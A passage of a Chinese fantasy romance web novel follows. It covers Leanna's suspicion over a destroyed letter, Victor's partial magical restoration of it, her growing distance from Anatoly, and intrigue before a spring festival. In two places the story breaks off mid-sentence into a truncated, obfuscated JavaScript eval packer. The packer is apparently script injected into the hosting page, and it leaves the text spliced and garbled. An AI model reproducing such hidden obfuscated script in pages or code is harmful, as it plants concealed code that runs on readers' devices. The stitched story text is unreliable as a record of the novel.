“文森特怎么会留下,他一定会销毁的……” 自己刚才真是急晕了。 如果要销毁的信件,一般都会用到一种特质魔法药水,可以侵蚀字迹。虽然烧掉更简单,但烧掉还能用魔法恢复,这种特制药水破坏了字迹以后,很难再用魔法复原。 “或许他放进药水销毁箱了?” 她急忙打开回收箱的盖子,里面果然泡着许多信纸,上面的字迹都已经看不清了,但底纸的质地没有被改变,莱安娜迅速就辨认出了泰西防线常用的白桦信纸。 “一共五大页纸,这么长的内容怎么可能是普通的旅行邀请……而且字已经被完全侵蚀了,哪怕使用最精密的复原魔法也只能恢复一点吧” 莱安娜有些失望,但她不想放弃,她将这些稿纸收了起来,随后目光落在了桌上的烛台上,这是她今天来到此地的第二个目的。 她掰下了那颗雕刻精致的蜡烛。 “永恒结晶放在这里终究不太安全。” 她将稿纸和蜡烛一并带出后和娜塔莉娅汇合。 在回去的路上,娜塔莉娅好奇地询问了两句。 “您找到您要的东西了吗?” “找到了。”她点了点头。 “如果您信得过我的话,之后还需要什么可以让我来这里找。” “谢谢你,娜塔莉娅,不过这个地方我不会再来了。” 她明明是笑着看向宅邸的,娜塔莉娅却感觉到了一种隐约的违和感。 不过这丝疑虑很快就被好奇心占据了,毕竟今天她击败了列昂尼德,有了和莱安娜独处的机会,可以问道一手的八卦! 在行至半路娜塔莉娅终于酝酿好了情绪开口。 “阿琳娜小姐,我想冒昧地问一个问题?” 正在盘算着怎么复原信纸的莱安娜被她这没头没脑的一问吓了一跳。 “你说?” 莱安娜看对方无比认真的眼神心里突然有些没底了,她想问什么呢? “您和我们团长的婚姻关系会保持多久呢?” “是因为立场对立,担心阿纳托利吗?”莱安娜心想,随后开口说: “因为我是教会的人,所以你担心之后带来一些麻烦吗?” “不不不,我不担心这个问题,我相信您。”娜塔莉娅解释说。 莱安娜闻言朝她笑了起来。 “我很开心各位能够信任我,也请放心,我和你们团长的这段表演持续不了多久,目前来看进展很顺利,至多也不过半年吧。” 她微笑给了对方一个相当安心的答案,但娜塔莉娅的脸色变得不太好看了。 “嗯?这么短的时间,也不会对阿纳托利有什么影响啊?为什么娜塔莉娅小姐的脸色这么难看?” 她不太理解,只觉得奇怪。一阵头脑风暴后她想到了一个很可怕的可能性。 “会不会阿纳托利其实早就有喜欢的人了,只是碍于我的安全才没有说恋人的事,但他的部下都很清楚,所以才会询问我合作时间。那我的计划岂不是……” 她一把抓住娜塔莉娅的手,认真地盯着她。 “娜塔莉娅,你这样问是不是因为你们团长现在有心上人?和我的合作会影响他们的感情?” 娜塔莉娅惊恐地盯着莱安娜,瞳孔地震。 “我去,她在脑补什么啊!”娜塔莉亚内心的小人捂着头发出尖锐的爆鸣。 “没有!没有!绝对没有!他绝对没有喜欢其他人!” 娜塔莉亚信誓旦旦,仿佛恨不得剖心明志,莱安娜虽然不理解她为什么这么大反应,但听到答案还是松了口气。 “团长是很正直的人,他每一段感情都清清白白的,您放心吧。” 娜塔莉娅拍胸脯保证。 莱安娜却抓住了一个重点。 “每一段感情?” 她挑了挑眉,声音不自觉提高了几分,显得意味深长。那双墨绿的眼睛无比怀疑地盯着娜塔莉娅。 “啊!原来她不知道啊……团长也真是的,恋爱史这种事怎么能隐瞒呢,堵不如疏啊!” 娜塔莉娅急得在心里猛咬指甲。 “算了,反正也瞒不住了。”她咬牙开口道: “我其实加入泰西防线的时间比较晚,我听列昂尼德说过,阿纳托利团长曾在四年前向心上人求婚过,但是被拒绝了,这是他唯一的恋爱经历。”娜塔莉娅摊摊手。 这句话莱安娜用了很长的时间来消化。 “他有喜欢的人啊。” 她脱口而出,还沉浸在惊讶中。 “但那已经过去了,而且那女孩拒绝了团长啊!他们什么事都没有!” 娜塔莉娅情绪激动地解释道。但她发现莱安娜脸色没有好转,只是出神地看着前方。 她想起了离别的那个雨夜,对方送她的匣子里那串龙骨的手串,想起了他偷偷南下来卡萨德拉城区见她,只为在她成为神官前献上一束鸢尾。 虽然因为各种变故让他们的感情止步在了不上不下的位置。两人也几乎断联,但莱安娜以为至少在对方的心里自己是特殊的。 过去了又怎样?没有说出口又怎样?没有结果又怎样?至少她曾见过这美好又纯粹的感情。 但是他有喜欢的人?在几年前就已经有了喜欢到想要求婚的人? 所以是不是她产生了错觉?把对方的友善之举当成了爱意? 莱安娜觉得脑子里乱糟糟的。 “阿纳托利这么好的人会喜欢什么样的人呢?” 那女孩既然拒绝了阿纳托利,看来是不喜欢他的,那就没事,不然自己现在这样的计划不就毁了两个人的幸福吗? 换位思考,如果自己喜欢的人为了什么计划和别人结婚,哪怕是名义上的,自己一定会很难过。 “我的私心没有伤害两个很好的人,真是太好了。” 她松了口气。 “但阿纳托利如果都求婚了,那应该心里只有对方吧,恐怕现在也是……那我的计划还真是太勉强他了。” 她心想。 她突然觉得自己就像是一个小偷,利用了对方的真诚来满足自己的私情。阿纳托利那种死心眼的人,动了心就会死心塌地,只是对象不是她。 “我不该难过,一切都很合适,要是阿纳托利的爱真的指向我,也没有办法回应吧。反正最后都没有结果,连开始都没有不是很好吗?” 她在心里反复念叨着,明明理智已经接受这个答案了,但心里仍然闷得难受。 嫉妒、庆幸、羡慕混杂在一起,心里沉甸甸的,她一句话都说不出口。 而看她沉默了半天的娜塔莉娅心已经悬起来了。 “您,您不要多想,阿琳娜小姐,咱们团长对你不是很好吗?” “娜塔莉娅小姐这话我不明白,我要多想什么呢?” 她笑着反问。 “嗯……就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你深刻,你不就谈了一段嘛。”娜塔莉娅不满地嘟囔。 “但我的感情可是修成正果了的,我是你们当中唯一结婚的人!” 他似乎非常自豪。 “我来告诉你年轻人,问题出在哪里。” 他露出过来人一般的笑容。 “你不要看一个人说什么,你得看她做什么,爱情里说不清道不明的事情太多了,感情哪是说的明白的。” “莱安娜主教是口是心非?” 娜塔莉娅的眼睛冒出了希望的光。 “对喽。” 列昂尼德一副她是可造之才的眼神。 “但莱安娜主教为什么要否认呢?” “这就涉及到阿纳托利的情史了。” 列昂尼德语气严肃了一些。 “你想想,阿纳托利和莱安娜主教认识的时间可比我们还早,她能不清楚长官的性格吗?所以在知道长官曾经有喜欢过的人,还求过婚,她当然会觉得长官的心里一直没有放下上一段感情……” “她觉得阿纳托利心里的人不是她,所以干脆就划清界限……” 娜塔莉娅恍然大悟。 “我似乎明白了,问题的关键在于证明长官已经放下了上一段感情。” “这个问题我们或许得和阿纳托利聊一聊。” 列昂尼德若有所思。 阿纳托利回来时只觉得列昂尼德和娜塔莉娅的眼神非常奇怪。 “你们……是不是有什么话要对我说?” 他试探道。 “那个,长官,我在想你和莱安娜小姐都这么亲密的关系了,您是不是还没有和她说过你的感情史。” 娜塔莉娅小心翼翼地问。 “感情史,我有什么感情史?” 阿纳托利一头雾水,他觉得自己暗恋初恋这么多年,现在顶着虚假的名分为她卖命已经足够凄惨了,除了这可怜的经历哪来的其他感情史? “就是您求婚失败的事……” 娜塔莉娅支支吾吾。阿纳托利一听这话头就觉得脑子嗡一下清醒了。 “千万不能告诉她!你们俩知道了吗!” 他提高了音量,语气相当可怕。 “如果你俩谁泄漏出去……”他灰色的眼里闪着危险的光,仿佛谁踩了雷区就要把那人活撕了一样。 “但……”列昂尼德想要开口,立刻被娜塔莉娅打断。 “我保证守口如瓶。” 她信誓旦旦,阿纳托利有些怀疑地看了她一眼后上楼了。 “呼……吓死我了……” 娜塔莉娅拍了拍自己的胸口。 “你干嘛不说实话!”列昂尼德瞪了她一眼。 “你没点眼力见啊!阿纳托利那种表情,要是知道我已经说漏嘴了,他现在就会发疯的!” 娜塔莉娅后背一阵发凉,随后飞速地自言自语起来: “没关系,按照你的分析,阿纳托利不可能主动找莱安娜问这件事,莱安娜小姐性子这么要强肯定也不会提的,我暂时很安全……有没有什么外勤任务?我得找个借口赶紧出去躲一下……” “你不准备再帮他们一把啦?” 列昂尼德问道。 “不了,早知道就不为了看热闹瞎掺合了,我也没想到随便说两句话会闹成这样啊……” 娜塔莉娅无语地扶额。 “都怪阿纳托利!既然喜欢对方!怎么跟没长嘴一样!这种事情感情史都从没说过!现在才提莱安娜小姐不高兴也是意料之中的事。” 娜塔莉娅甚至开始挑起了阿纳托利的错。 列昂尼德对阿纳托利不长嘴这件事非常认同,他开口道:“你也别太担心,他们两人如果真的有感情,这事儿早晚得翻出来。不过你躲外面去之后,我找个时机把今天的事告诉阿纳托利,让他去找莱安娜小姐好好聊聊,你看怎么样?” “感激不尽!” 她双手作祈祷状。 87. 疏离 莱安娜回来后借着探视的名义再次去见了维克多,将蜡烛和信件摆在了他面前。 “这是什么?”维克多嫌弃地用食指挑起皱巴巴的纸张。 “莱安娜你终于落魄到要捡破烂了?” “你要是还想我救你出去,就闭上嘴。” 她语气冰冷,没有了往日和他吵架的闲情逸致。 原本他还想叽叽喳喳两句,抬眼看了眼对方,便很懂眼色地像鹌鹑一样不再多言。 可恶!为什么他现在有求于人,竟然需要看莱安娜的脸色! 莱安娜继续说:“应用魔法非我所长,但你精通此道,我需要你用修复魔法帮我复原信件。” 维克多白了莱安娜一眼,很是无语。 “我可是魔法界百年难遇的天才!你就让我干这种一个银币就能解决的琐碎之事?你在侮辱我吗!” 维克多嘴角一抽,交叉双臂朝身后的沙发靠了下去。 “你再看下这些稿纸。” 维克多狐疑地接过,手指摩挲过皱巴巴的纸张,他挑了挑眉。 “被销毁药水泡过?” 他算是明白为什么莱安娜要来找他了。 “嗯。” “你可真会为难人,销毁药水就是为了损毁逆转路径发明的!都泡成这样了,你竟然想要我给你复原如初?” 维克多厉声道。 “你试试,如果你的魔力精度都无法复原,那也没人能够做到了。” 她叹了口气,执拗地将稿纸推到维克多面前。 听了她的话,维克多有些惊讶地打量着对方。 莱安娜是在夸自己吗?他有些不可置信。 沉默了一会儿后,捻起了桌上的稿纸。 “恢复如初……” 他轻声念着咒语,金色的光芒在化作丝状穿透稿纸,快速游走盘旋,带来一阵温暖的气流,维克多靠得很近,额前的金发随之晃动。丝线完全附着在了稿纸上,五张稿纸在维克多手中仿佛变成金箔。 过了一分钟,维克多停下了魔力的注入,手中稿纸外的金箔如同被风吹落一般飘散,化作点点微光,只留下还隐约有光的稿纸。 他将仍发着金光的稿纸递给了莱安娜。 莱安娜急忙接过,翻开稿纸的一瞬间她的心中升起了一丝希望。 残破不堪的纸面被金色的魔力修复,魔力填充的字迹隐约透着细碎的光芒,脆弱得仿佛一碰即碎。 “当你收到这封信的时候,或许圣都的冰雪已经融化,春风是否还是记忆里那样温暖和煦呢?我都快不记得春风吹拂的感觉了,哪怕是四月,北地仍然寒冷,没有丝毫变暖和的迹象………” “我们已经取得胜利,叛乱已经被彻底结束,一切都已尘埃落定,北地或许能够迎来相当相当长的太平时光吧,我……” “我已经向伊莉雅请求……如果……等待你的答复……” 她快速看着五张信纸,心中的希望渐渐熄灭,眼里的光芒消失了。 复原的内容少之又少,还断断续续,她没有看见任何关键信息。 阿纳托利要她答复什么,她或许这辈子都无从得知了,而且她也不知道文森特捏造的回复到底说了什么。 “那时候可是还在打仗,阿纳托利不会是那时候找我寻求帮助吧?如果他以为我拒绝了他的求助该有多失望?”她开始猜测种种可能性,眼神飘忽不定。 直到维克多不满地敲了敲桌面,她才回过神来。 “所以,怎么样?” “恢复了不到两成。”她有些失望地叹气。 “这信算是废了,你在帝国不可能找到第二个恢复得比我更完整的人。”他抬眸盯着莱安娜。 “我知道。”她没有否认,难得在她脸上看到如此心灰意冷的表情。 维克多理应高兴的,他最喜欢看莱安娜吃瘪了,但他今天却笑不出来。 莱安娜轻柔地将那几张稿纸折好收了起来,像是在整理一个易碎的梦,生怕它裂开后从手指缝里溜出去。 维克多没有催促她,只是耐不住好奇心平静地发问。 “我从未见过这种材质的稿纸,这是什么信?你要这么大费周章去修复。” “一个朋友写给我的,但不重要了,你也说了,这信现在已经是废纸了。” 维克多将目光落到了桌上的另一件东西上。 “另一个蜡烛?你是乌鸦吗?什么乱七八糟的东西都往这里带?” “里面有枚永恒结晶,你擅长现代魔法,我要你帮我解开。” 维克多都快被气笑了。 “之前是开发在光域之上的攻击魔法,现在是逆转销毁药水、没有特定口令解开永恒结晶。给我布置这么多不可能的任务,你到底怎么想的?要我坐牢这段时间发表顶级论文?你可真会给我出难题。” 莱安娜抬眸盯着他,相当认真地说。 “魔法师是创造不可能的存在,如果作为顶级魔法师的你都无法做到这些,我也没必要问其他人了,你到底能不能做到?” 维克多觉得有什么很微妙的东西扯了一下他的心脏。他不自觉地睁大眼睛,蓝色的眼里闪出几分光来。 “我可以试试。”他认真地看着对方。 “东西留给你了。”莱安娜说着准备起身。 “你不怕我破译开了看见里面的内容?” 莱安娜停下了脚步,回眸一笑。 “我大概猜到里面是什么了,我了解你,那不是你喜欢的东西。” “啧。” 维克多捏紧那枚蜡烛,只觉得对方如此笃定的语气让他有些不爽。 “别这么急着走啊,我还有问题?” 他不满地冲莱安娜喊道。莱安娜停下脚步转过身,眼里有些疲惫。 “你什么时候才能捞我出去?我总要知道你的进度吧?” 他一面说着一面靠在了沙发上,手掌中悬浮的那枚蜡烛被无形的利刃利落地解构开,外壳层层剥落,掉在地上,露出永恒结晶的真容,哪怕当前维克多宅邸灯火通明,诸多装饰品应有尽有,结晶美丽的光泽仍然抓人眼球。 “我计划联合安全部的武装,策反神使团裴迪的部队,在女神会出席的夏日祭典上控制教皇,再向女神禀明罪行,届时你就无罪了。” 维克多听了她的话一愣。 “你疯了?” 他不可置信。 “你竟然想要直接扳倒教皇!教皇就是明着处死你也没有任何问题,一个主教想用谋杀罪扳倒教皇绝对不可能!神使团哪是这么容易对付的,女神怎么可能轻易支持你?你疯了!早知道你是这种计划,我就不和你合作了!把我的钱还有魔导器还给我……” 他有种被诈骗了的感觉,但莱安娜只是平静地坐回了沙发,继续和他解释。 “教皇确实可以签署对任何神官、主教的诛杀令。但我对女神还有特别的用处,她和女神应该达成了不杀我的共识。”她说着抬眸看向维克多。 “维克多,你难道不觉得奇怪吗?女神从不过问人间之事,为什么这次她要公开授意维斯特利亚对你进行联合调查呢?” 维克多若有所思,随后笑道。 “这样说起来,女神大人以为是我坏了她的好事,才这么急着收拾我的。” 他饶有兴趣地打量着莱安娜,讥讽地说道: “看来你已经知道女神大人的算盘了吧?女神大人的宠儿,女神大人真喜欢你啊,不是吗?” 听到这个称呼,莱安娜难掩眼神里的厌恶。 “没有喜欢不喜欢,只有好用不好用。你我对于女神没有任何区别,都是工具罢了,不必讽刺我,我很清楚自己的位置。” 维克多有些失望,本来想诱导莱安娜透露更多关于女神的信息的,但对方的嘴跟不透风的墙一样。 他将话题重新放到了扳倒维斯特利亚身上。 “所以你当前的计划就押在女神对你的偏爱上?”他言语间的不信任毫不掩饰。 “当然不是,我有教皇更重要的把柄,维斯特利亚除了杀我,还有其他女神必不能容忍的事。” 维克多听到此处突然话锋一转: “等下,我倒卖魔导器之类的在不在这个范围内。” 莱安娜有些无语。 难怪卡梅里亚侯爵天天觉得家族要完蛋,毕竟直系血脉满脑子都是成为魔法第一和敛财。 “她不在乎。”莱安娜扶额道。 “她在乎的是地脉能源,教皇负有帮助女神收集能量的任务,拥有对整个帝国地脉能量调配抽取的控制权,近些年从地脉端口抽取的魔法能量比前五年一共少了百分之十,这并不符合地脉活跃期的能量规律。” “你怀疑维斯特利亚将这些地脉能量私藏了起来,没有交给女神?但是她藏如此庞大的魔法能量做什么呢?” 维克多虽然没有猜到私藏能量的动机,但他很清楚关于地脉能量一定会引起剧变。落在莱安娜身上的眼神变得更加好奇。 “莱安娜知道多少呢?她是知道一些皮毛,准备借助这一丁点信息四两拨千斤;还是真的对这事了如指掌呢?” 维克多有些怀疑。 “仅靠这两件事,女神真的会放弃维斯特利亚教皇吗?”他试探道。 “足够了,你或许不了解,但我确定地脉能量是女神的逆鳞,维斯特利亚一定会被女神放弃的。” 她语气笃定。 “而且除了我们,还有其他人会对维斯特利亚动手的,那些人可比你我更希望维斯特利亚倒台。” “你是说那个没什么实权的小皇帝?”维克多笑了起来。 “你用两年时间从候选人变成阶下囚,他用两年的时间掌握了安全部,获得了中小贵族的不少支持,我如果是你就不会轻视他。”莱安娜瞥了维克多一眼,他的脸色变得有趣了一些。“总之他会帮我们做更多的准备工作。双管其下,维斯特利亚再无翻身的可能。” “你有把握吗?”维克多问道。 “十拿九稳。” “你在谋划很危险的事,我虽不清楚具体内容,却也知道凡是和地脉能量沾边之事都会带来颠覆性后果。无论是一统帝国的哈雷皇帝,还是让教会崛起的维斯特利亚,他们或多或少都在这点上与女神达成了共识。” 他凝视着对面的单薄的身影。 疲态尽显、举目无亲、疾病缠身。 这样的人到底想要掀起什么波澜呢? 维克多皱了皱眉,继续说。 “你真的什么都不给我透露?看在你捞我出去的份上,好好求求我,没准我出去后愿意帮你也说不定呢?” 莱安娜终于抬起头。 “维克多,我们认识十二年了吧。” 维克多一愣,对她这突兀的一句话感到有些莫名其妙 “你要说什么?” “在我将近二分之一的人生里,你一直在单方面地和我争斗不休,我知道你自私、傲慢、狭隘、偏执、自大、狂妄、残忍……” “你一定要在这个时候翻旧账吗?” 维克多深吸一口气,准备对骂。 “但你确实是珍贵的天才,再等上一百年也不会出现第二个像你一样惊才绝艳的人了。” 维克多的话卡在了嗓子里。 莱安娜今天吃错药了?竟然在肯定他! “你虽然干过不少坏事,但在遭报应之前,好好赎罪吧,别浪费你的才华和天赋,最好真的如你所说的那样,把你的一生献给魔法,给我设计出远超光域魔法的新咒语。” 维克多有些没反应过来?对方这是在干什么?肯定他?指责他?还是引导他? 他抬起头来,只觉得思绪混乱、信息繁杂,他困于其间没有找到方向。 莱安娜平静地坐在他对面,眼里没有了往日的厌恶和戒备,只是如石头般漠然,维克多看不出悲喜,但心中徒然升起一阵隐约的、不祥的预感。 “你,你为什么今天要对我说这些话?” “因为虽然你是个人渣,但是这个世界还需要你,我希望你在遭到报应前,去做一些天才应该做的事。” 她转头看向高速魔法介质模型。两颗魔法石在高速移动下产生的残影和余光几乎快要编织成一幅画。其摆在大厅最显眼的位置,宣示着其主人最为惊人的魔法成就。 “你突破过女神魔法体系中魔法速度的极限,虽然从数据上只有微不足道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这里!” 她顺着声音把目光移向了平台之下。 阿纳托利正在下面冲她笑着招手, 阿纳托利来接她了。 莱安娜抿起嘴角,朝阶梯下面走去。 但走到了一半,心中的喜悦就消散了不少。 “我这么高兴干嘛?他做这些事不是因为感情,只是出于他的好心。” 等她朝阿纳托利走近的时候,已经恢复了冷若冰霜的表情。 “怎么了?” 阿纳托利看她脸色不太好,以为是和维克多谈得不太顺利。 “没什么,您不必担心,一切顺利。” 她朝他礼貌地微笑。 阿纳托利心中警铃大作。 “她她她都用都用敬语了!我没捅什么娄子吧……” 他在内心瑟瑟发抖,但表面仍是一副平静的样子。 “一切顺利就好。” 他一面说着一面把准备好的披风披到了莱安娜的肩上。 莱安娜裹紧了披风,转头看他。 “为什么是您来接我?列昂尼德呢?” “列昂尼德临时有其他任务,兰斯说他有新发现,叫上列昂尼德和他一起去了。” “那娜塔莉娅呢?” 她继续问道。 “她……” 阿纳托利正准备告诉莱安娜娜塔莉娅的去向,却顿住了。他隐约察觉出对方微妙的情绪。 他就在这里,她却接连问了列昂尼德和娜塔莉娅的去向,她似乎不太想见到他。 “莱安娜,你不希望我来接你吗?” 他直接问了出来,眼巴巴地等一个答案。 莱安娜似乎没想到他会如此直接,眼中显然飘过惊讶的神色,随后很快把头低了下去,阿纳托利没法看清她的神情。 “不是,我没有不愿意,我很感谢您的关心,我只是觉得,您没必要做得这么完美。” “我不明白。” 阿纳托利下意识想靠近对方,莱安娜后退了半步。 气氛僵住了。 阿纳托利察觉到了对方的戒备和抗拒,他停下靠近的脚步,只是平静地发问。 “莱安娜,你刚才的话是什么意思,我真的没有明白。” “我的意思是,您不用对我那么好,不用那么无微不至,一场表演而已,不必那么投入,我会不自在的。” 她说罢叹了口气。 “终于说出来了,终于结束了吧。” 她看着沉默的阿纳托利心想道。 自己这样说了以后,阿纳托利就不会有心理负担了,不会为了所谓的责任感而继续勉强下去。 “他是个会忽视自己感受的人,总喜欢先考虑别人,只要我不说,他会一直勉强自己陪我演下去吧。演到我恢复主教身份的那一天,要是能一直演下去就好了,但那算什么呢?拿着虚假的爱意在死前安慰自己吗?那也太难看了。” 莱安娜闭上了眼睛。 “原来你是这么想的。” 他的声音并没有预想中的困惑,也没有惊讶,莱安娜抬头看对方。 阿纳托利朝她温和地笑着。 “你早该告诉我的,我都不知道原来这样会让你不自在,那我之后注意,但现在我们还在外面,先回去再说吧。” 他向莱安娜伸出了手。 “嗯。” 莱安娜朝他走了过去。 两人牵着手上了车,一路上一言不发。 阿纳托利努力让自己看上去波澜不惊,但莱安娜话仿佛像钝刀子一样,反复在他的心上磨来磨去。 “你的心里究竟是怎么想的?” 原本已经下定决心的阿纳托利再一次陷入了迷茫。 “我本来都下定决心要把在学院时没说完的话重新告诉你的……但我现在都不知道是否应该继续坚持了,莱安娜。” 他转头看着沉默不语的对方,心一沉再沉。 88. 春日庆典 阿萨特主教坐在画室的沙发上,眼神飘忽。他的目光似乎落在正在创作的画上,又似乎不在现实世界的任何一处。 他的处境其实不算危险,虽然亨利提出了彻查医疗系统的法案,但魔法师制造计划的实验室随时可以销毁,也有不少替罪羊可以替他背锅,他还可以抽身而退。 但让他感到绝望的是,对亨利的提议,教皇选择了袖手旁观。 教皇这是要放弃魔法师制造计划了,他几十年的心血将功亏一篑。 阿萨特的眼神愈发危险,而他年轻的情人凯瑟琳毫不在意他的目光,只是沉浸地在创作,这是一副宏大的画作,描绘维斯特利亚教皇带领魔法师在无忧湖击退哈雷皇帝的光辉历史,阿萨特答应把此画献给维斯特利亚,帮助凯瑟琳得到教皇的认可。 “不对!还是不对!” 她一边自言自语,一边开始快速修改,那双炯炯有神的橙色眼睛里迸发出如火一般的光芒。 就在她无比投入时,身后那总是沉默的情人幽幽地开口了: “凯瑟琳,去中部吧,我派车送你过去。” 他冷不伶仃地说,凯瑟琳只觉得一头雾水。 “你在说什么?亲爱的?”她放下手中的画笔朝阿萨特走去。 “我要完成这幅画,你不是答应要把这幅画献给教皇吗?亲爱的我不能离开圣都,我的事业可正在关键时候。” “我需要处理一些事,很危险的事情,在安全处理好之前我不建议你留在圣都。”阿萨特平静地说。 “我不要,我要和你一起留在这里,不许小看我。” 她一面说着,一面坐在了阿萨特身边揽住了他的胳膊。 “你可是主教,除了教皇,帝国还有什么麻烦是你处理不了的?”她笑盈盈地反问,阿萨特没有说话,他当然知道对方打的什么主意。 凯瑟琳不是爱他,是离不开他。 她离不开一个可以赞美她作品的忠实观众、离不开一个改善她生活的投资人,离不开一个可以可以给她摆平一切麻烦的靠山。 阿萨特喜欢她,但他很清楚那不是爱,那只是一具日益衰老腐朽的躯壳,对蓬勃生命力最本能的向往。 一个年轻的、野心勃勃的画家,多么有趣自由的灵魂,只要自己以欣赏、真爱为名,包装起那粗陋的欲望,这个年轻的人就会低下自诩为艺术家的高贵头颅,主动地奉献出年轻的身体。 甚至她还会自己欺骗自己,让自己相信所爱的是对方的灵魂,他们是地位平等的恋人,对方为自己的付出不过是这段感情的产物。仿佛套上爱情的外壳她就能理直气壮地接受起阿萨特的所有优待,可以骗自己相信,这些都是源于高尚的感情,而非低贱可悲的皮肉生意。她只是在追求超越世俗的爱情,而非一个不懂自尊自爱的玩物。 阿萨特抬头看她那双橙色的眼睛,这双眼睛是他亲自为凯瑟琳挑选的,果然很合适。现在又闪烁着那种自作聪明仿佛超然物外的光芒。 “如果我失败了?你要和我一起承担后果吗?凯瑟琳?” “当然,不过我相信,您一定会顺利的。” 阿萨特没有说话,也没有像往常一样微笑。 凯瑟琳是个贪婪又胆小的人,阿萨特知晓她的性格,利用了她的愚蠢和投机,也可以原谅她的背叛。 但看样子她对自己的计划很自信。 她是如此急迫地追求事业上的成功。满脑子都是艺术、诗歌、戏剧,丝毫不明白斗争的残酷,天真地觉得自己只是阿萨特的情人,又从没有直接做过坏事,哪怕阿萨特失势又怎样? 再把阿萨特企图谋杀亨利的计划装作无意地透露出去,如果阿萨特赢了,事后追究起来她的失误不过是无心之失,如果阿萨特真出事了,凭借这份功劳她也能继续留在圣都。 这时候她倒是把那高贵的爱情又抛诸脑后了。 但凯瑟琳毕竟陪伴了他这么久,阿萨特愿意给她一次机会,只要她愿意,阿萨特会在中部给她安排好之后的一切。 但可惜,她似乎并不领情,她是如此地天真,以为自己计划好了一切,满眼都是圣都的远大前途,看不到脚下早已危机四伏。既然这样,阿萨特倒也乐见其成。 若是成功,不妨给这个打着勇敢旗号的小骗子一些奖励,如果失败,死亡的路上还有情人陪他。 “我就知道,你的感情和灵魂都是如此高尚,那么,亲爱的,让我们患难与共吧。”他笑着说。 …… 春日庆典如期而至。 虽然是春日庆典,但其实严格来说现在还在冬天,一年之初仍然十分寒冷。 作为新年的第一个庆典,它承载着诸多美好的寓意,也格外隆重,将会持续整整三天。 第一天有预热的舞会、第二天则是大家期待的实战比试,第三天则会举行狩猎大会,实战比试的前二十名才有入场的资格。方式以追猎为主。 莱安娜和阿纳托利自从回到圣都还从未一同出席过社交场合。 阿纳托利一直非常期待这天,他可以在这个时候借着虚假的名分理直气壮地站在莱安娜身边。 他一直在等这种好日子,谁曾想这样的好日子出现在了莱安娜决定疏远他之后,而且他还要在这样的好日子里保护亨利那个臭小子的安全。 “真是倒霉透顶。” 哪怕眼前华灯璀璨、佳肴美食层出不穷,阿纳托利心情也糟糕透了。 他孤零零地呆在不起眼的一处地方,不停地敷衍着前来与他寒暄的人。目光偷偷地飘向身后的窗台,莱安娜正和刚回圣都的格里卡尔交谈。 透过玻璃能看到莱安娜眉开眼笑,那种发自内心喜悦的神色,和最近看自己的眼神迥然不同。 他的心情不由得又灰暗了两分。 其实主要是阿纳托利正处于患得患失的失衡心态,才会把窗外莱安娜的幸灾乐祸的恶趣味笑容视为发自内心的喜悦,格里卡尔若是知道阿纳托利刚才的想法肯定会把白眼翻上天。 莱安娜:“我听说东区防御司和你们的接洽十分顺利,还好你认出了我给你的信物。” 她笑着盯着对方,格里卡尔嘴角抽了抽,似乎有无尽的苦水要倾倒。 “你的破信物害得我威严扫地!”他瞪着莱安娜。 “没那么严重吧。” 她似乎完全没有意识到不妥,如果没有带上幸灾乐祸的笑容会更有说服力的。 “你知不知道列昂尼德直接在开会时提交的信物,东区所有的神官都在场!” “哦,那有点尴尬。” “你还笑!” 格里卡尔恨不得掐死自己这个烂同门。 “列昂尼德拿了个留影石出来,我们都以为是任命书,或者你的亲笔信。往中枢的放大装置一放,竟然是我在试炼时被魔兽追着咬屁股的录像!你也太恶毒了!当时不救我,现在还利用……” “我当时救了你的。”莱安娜认真地纠正。 “啊对,等你笑开心了,还留影了,再慢悠悠地来是吧?你知道那个破视频有多少人看了吗?” “适当改善下形象也不错嘛。” “闭嘴,你必须给我补偿。” “好,好,好。”莱安娜敷衍地摊了摊手,随后她想起了什么,眼里的笑意消失了。 “说起来我们有多少年没这样开玩笑了?”她叹了口气。“要是老师还在就好了。” 格里卡尔没有想到她会主动提起此事,过去几年中他们从未主动说起卡丽安娜老师,尤其是在莱安娜面前。 “老师她说不定会骂我吧,这么多年过去了,还没有给她报仇。” “这不是一朝一夕的事情,而且我相信比起报仇,老师应该更希望我们至少能把东区守好。”格里卡尔平静地说。 莱安娜点了点头:“东部还剩下一个地脉端口,按照卡丽安娜老师的理论,那个地方之后可能会爆发大规模魔兽潮。” “我知道,其他三区已经如预期那样暂时平静,地脉也恢复了健康,卡丽安娜老师研究的结论是正确的……还好老师炸掉了三个地脉端口,这才防止地脉进一步恶化陷入恶性循环。你放心,那个含有端口的区我一直在密切监视,靠近端口的人员也早就撤离。” 莱安娜:“那个端口的魔力波动正常吗?距离出现异变大概还有多久?” “不必担心,我的学生利亚姆守在那里,他有和地脉高度同频的天赋,可以起到一定的调节作用,有他在,至少半年内地脉不会有大问题。” 莱安娜:“你什么时候找到了这么优秀的学生?” “羡慕吧?那孩子可是地方政务员出身,成绩优异,能力强,工作时我发现他的魔法天赋也很不错。东区的工作太多了,没他都不知道怎么办。” 莱安娜朝他点点头,欲言又止。 “怎么了?”格里卡尔难得看到她这种神态。 “抱歉,东部的情况这么紧急、繁重,我却不能回去。” “我们早就分工明确,地方上的魔兽潮和地脉修复我们自会处理,不必担心。”他安慰道。 “而且你能活着已经是很好的消息了,谁知道那群贵族竟然可以做到这种程度。” 格里卡尔冷笑了一声,随后又着看向莱安娜:“不过也不是全然没有好消息,你的死讯一传出,东区不安分的贵族们就立刻冒头了,又是想趁机给药物禁令松绑,还想趁魔兽潮发财。” “处理好了吗?” “嗯,和防御司打了个配合,都处理好了。” 莱安娜闻言,目光不自觉地移向室内的那个背影,阿纳托利正站在窗门的后面,侧对着他俩。 “怎么了?”格里卡尔见她眼神突然有些失落,顺着目光看去,发现了正在为他俩看门的阿纳托利。 “他是个很好的合作者,你怎么这副表情?难道计划有什么不顺的?” “算是吧,这次春日庆典上有麻烦会发生,我和他会处理的,我建议你面见了教皇陛下之后立刻返回东区。” 